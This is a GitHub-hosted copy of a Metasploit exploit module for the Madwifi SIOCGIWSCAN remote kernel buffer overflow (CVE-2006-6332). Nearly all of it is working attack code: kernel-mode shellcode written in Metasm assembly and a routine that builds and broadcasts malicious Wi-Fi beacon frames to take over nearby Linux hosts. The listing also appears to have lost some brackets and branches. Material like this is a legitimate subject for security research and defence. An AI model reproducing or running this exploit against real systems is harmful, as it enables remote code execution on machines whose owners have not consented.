exploit-database/platforms/linux/remote/16835.rb at master · pythonmaster41/exploit-database

executable file
385 lines (308 loc) · 9.47 KB
# $Id: madwifi_giwscan_cb.rb 10394 2010-09-20 08:06:27Z jduck $
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
# Madwifi remote kernel exploit
# 100% reliable, doesn't crash wifi stack, can exploit
# same target multiple times
# Julien TINNES <julien at cr0.org>
# Laurent BUTTI <0x9090 at gmail.com>
# vuln in giwscan_cb, here's the path:
# ieee80211_ioctl_giwscan -> ieee80211_scan_iterate -> sta_iterate -> giwscan_cb
require 'msf/core'
require 'metasm'
class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking
	include Msf::Exploit::Lorcon2
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Madwifi SIOCGIWSCAN Buffer Overflow',
			'Description'    => %q{
					The Madwifi driver under Linux is vulnerable to a remote kernel-mode
				stack-based buffer overflow.
				The vulnerability is triggered by one of these properly crafted
				information element: WPA, RSN, WME and Atheros OUI Current madwifi
				driver (0.9.2) and and all madwifi-ng drivers since r1504 are
				vulnerable
				Madwifi 0.9.2.1 release corrects the issue.
				This module has been tested against Ubuntu 6.10 and is 100% reliable,
				doesn\'t crash the Wifi stack and can exploit the same machine multiple
				time without the need to reboot it.
				This module depends on the Lorcon2 library and only works on the Linux
				platform with a supported wireless card. Please see the Ruby Lorcon2
				documentation (external/ruby-lorcon/README) for more information.
			'Author'         =>
					'Julien Tinnes <julien at cr0.org>',
					'Laurent Butti <0x9090 at gmail.com>'
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
					['CVE', '2006-6332'],
					['OSVDB', '31267'],
					['URL', 'http://www.madwifi.org']
			#'Stance'         => Msf::Exploit::Stance::Passive,
			'Platform'       => 'linux',
			'Arch'		 => [ ARCH_X86 ],
			'Payload' =>
					#'Space' => 65,
					# Metasploit doesn't support dynamic size payloads
					# so we will handle this in metasm instead and ask for
					# the smaller payload possible
					#'Encoder'	 => Msf::Encoder::Type::Raw,
					'DisableNops' => true
			'Targets'        =>
					[ 'Ubuntu 6.10',
							'JMPESP' => 0xffffe777,
							'scan_iterate_ra' => "0x8014401"
					[ 'Generic (you need non randomized vdso)',
							'JMPESP' => 0xffffe777,
							'scan_iterate_ra' => nil
			'DisclosureDate' => 'Dec 08 2006'
		register_options(
				OptBool.new('SINGLESHOT', [ true, "Break after first victim (for msfcli)", 'false']),
				OptString.new('SSID', [ true, "The SSID of the emulated access point", 'test']),
				OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 600]),
				OptInt.new('LENGTH', [ true, "Length after local variables in giwscan_cb() to overwrite", 24]),
				OptString.new('ADDR_DST', [ true,  "The MAC address of the target system", 'FF:FF:FF:FF:FF:FF']),
			], self.class)
	def exploit
		open_wifi
		#puts "kikoo " + payload.encoded.inspect
		#puts payload.encoded.to_s.unpack('C*').map { |i| i.to_s 16 }.join(',')
		stime = Time.now.to_i
		rtime = datastore['RUNTIME'].to_i
		count = 0
		print_status("Shellcode size is: #{payload.encoded.length} bytes")
		print_status("Creating malicious beacon frame...")
		frame = create_beacon()
		print_status("Sending malicious beacon frames for #{datastore['RUNTIME']} seconds...")
		while (stime + rtime > Time.now.to_i)
			wifi.write(frame)
			select(nil, nil, nil, 0.10) if (count % 100 == 0)
			count += 1
			break if session_created? and datastore['SINGLESHOT']
		print_status("Completed sending #{count} beacons.")
	def create_beacon
		ssid     = datastore['SSID'].to_s
		bssid    = Rex::Text.rand_text(6)
		channel  = datastore['CHANNEL'].to_i
		len      = datastore['LENGTH'].to_i
		seq      = [rand(255)].pack('n')
		jmpesp   = target['JMPESP']  # jmp esp in vdso
		# address just after the call (in ieee80211_scan_iterate in wlan.ko)
		scan_iterate_ra=target['scan_iterate_ra']
		if scan_iterate_ra
			howtoreturn = "RETURN_PROPERLY"   # Return to the parent of giwscan_cb parent
			howtoreturn = "RETURN_BADLY"      # Return to userland with IRET
		bssiwlist = 0x0804ddd0
		stacksize = "STACK_8K"
		getregs = "CALCULATE"
		#getregs = "IWANTTOSCANMANUALLY"
		reg_cs = "0x73"
		reg_ss = "0x7b"
		wiframe = Metasm::Shellcode.assemble Metasm::Ia32.new, <<EOS
#define #{stacksize} 1
#define #{getregs} 1
#define CS #{reg_cs}
#define SS #{reg_ss}
#define #{howtoreturn} 1
db 0, 0x50, 0xf2	; wpa_oui
db 1			; wpa_typ
db 1, 0			; wpa_ver
#ifdef RETURN_PROPERLY
mov ebx, esp		; save esp
#ifdef IWANTTOSCANMANUALLY
checkforcs:
add esp, eax
cmp dword ptr [esp], 0x73	; scan for cs
jnz checkforcs
cmp dword ptr [esp+12], 0x7b	; scan for ss
jnz checkforcs
mov edi, dword ptr [esp+8] 	; put user stack address in edi
; NO SCAN, calculate the good value
#ifdef STACK_8K
or	esp, (0x2000-1)	; assume 8K stack
or	esp, (0x1000-1)	; assume 4K stack
sub	esp, 0x17		; cf return_from_syscall
mov edi, dword ptr [esp+8]
;  IWANTTOSCANMANUALLY
; We can also go to BSS instead of stack
;mov edi, #{bssiwlist}
call greetings
toto db "You're pwn3d :(\\n"
mov edx, (greetings - toto)
xor eax, eax
int 0x80	; fork
;#include "/home/julien/Audit/metasploit3/modules/exploits/linux/madwifi/connectback.asm"
;; Metasploit's shellcode integration
; Old, bad method
;metasc db "#{payload.encoded.unpack('C*').map { |i| '\\x%02x' % i }.join}"
; this will be replaced by metasploit's payload
; metasm will add padding here so that the next .offset is honored
.pad db 0x33
xor eax, eax
;mov ebx, 42
; let's copy the shellcode to userland
mov ecx, endsc - beginsc
#ifdef RETURN_PROPERLY
mov esp, ebx			; restore stack pointer
; If SCANFOR_SCAN_ITERATE defined
; scan for ieee80211_scan_iterate
; example address: e0b46401 (scan_iterate+0x11)
; It should be easier to use this if porting the exploit in a hurry
;#define SCANFOR_SCAN_ITERATE
#ifdef SCANFOR_SCAN_ITERATE
sub esp, 4			;  you can remove this in most cases
checkforretadd:
mov ebx, dword ptr [esp+16]	; scan for return address, we know that we have
				; four saved register before the return address
				; (+16)
and	ebx, 0x07FF
cmp	ebx, #{scan_iterate_ra} & 0x07FF
jnz checkforretadd
;mov ebp, edi			; fixup EBP (cf end of ieee80211_ioctl_giwscan which will use it)
				; we need a writeable address
; Here we know the stack layout and esp already has the correct value
pop ebx				; Well, no need to fixup EBP, just run
				; sta_iterate epilogue, thanks Staphane Duverger,
				; how could I miss that!
; release the locks
push esi			; save esi
mov eax, edi			; we use the fact that edi has the same value in ieee80211_ioctl_giwscan
				; just before the call to i*_scan_iterate and in sta_iterate just before
				; the ret
mov eax, [eax+0x978]		; cf. i*_scan_iterate
mov esi, [eax+8]		; cf. sta_iterate
xor eax, eax
mov edx, eax
;xchg	dl, [esi]		; already unlocked
xchg	al, [esi+0x8C]		; release the lock!
ret				; end of sta_iterate epilogue
; Else we don't return properly
; we directly return from the syscall
.offset 64*2+21
jmp.i back2
dd 0			; this MUST be zero
dd 0, 0, 0, 0		; end_buf, current_ev, ieee, iwscanreq
db #{len-6} dup(0x33)
;dd 0xffffe777		; addr of 'jmp esp' in vdso page
dd #{jmpesp}
jmp.i8 back1
.offset 198
;.padto 198		; assert
		wiframe.encoded.patch("metasc", "metascend", payload.encoded)
		value = wiframe.encode_string
		#,  'monadresseip'=>(('172.24.94.252'.split('.').reverse.inject(0) { |ip, byte| (ip << 8) | byte.to_i }) ^ 0xffffffff)
		#puts value[-10..-1].unpack('C*').map { |i| i.to_s 16 }.join(',')
		if (len == 24 and value.length != 198)
			raise "Value is too big! #{value.length}"
		buf = "\xdd" + value.length.chr + value
			"\x80" +                      # type/subtype
			"\x00" +                      # flags
			"\x00\x00" +                  # duration
			eton(datastore['ADDR_DST']) + # dst
			bssid +                       # src
			bssid +                       # bssid
			seq   +                       # seq
			Rex::Text.rand_text(8) +      # timestamp value
			"\x64\x00" +      	      # beacon interval
			"\x01\x00" +		      # capabilities
			# ssid IE
			"\x00" + ssid.length.chr + ssid +
			# supported rates IE
			"\x01\x08\x82\x84\x8b\x96\x0c\x18\x30\x48" +
			# channel IE
			"\x03" + "\x01" + channel.chr +
			# invalid wpa IE buffer overflow
			# wpa ie is an example, still valid for other IEs
		return frame
Provide feedback

Saved searches

Use saved searches to filter your results more quickly

FilesExpand file tree

16835.rb

Latest commit

History

16835.rb

File metadata and controls
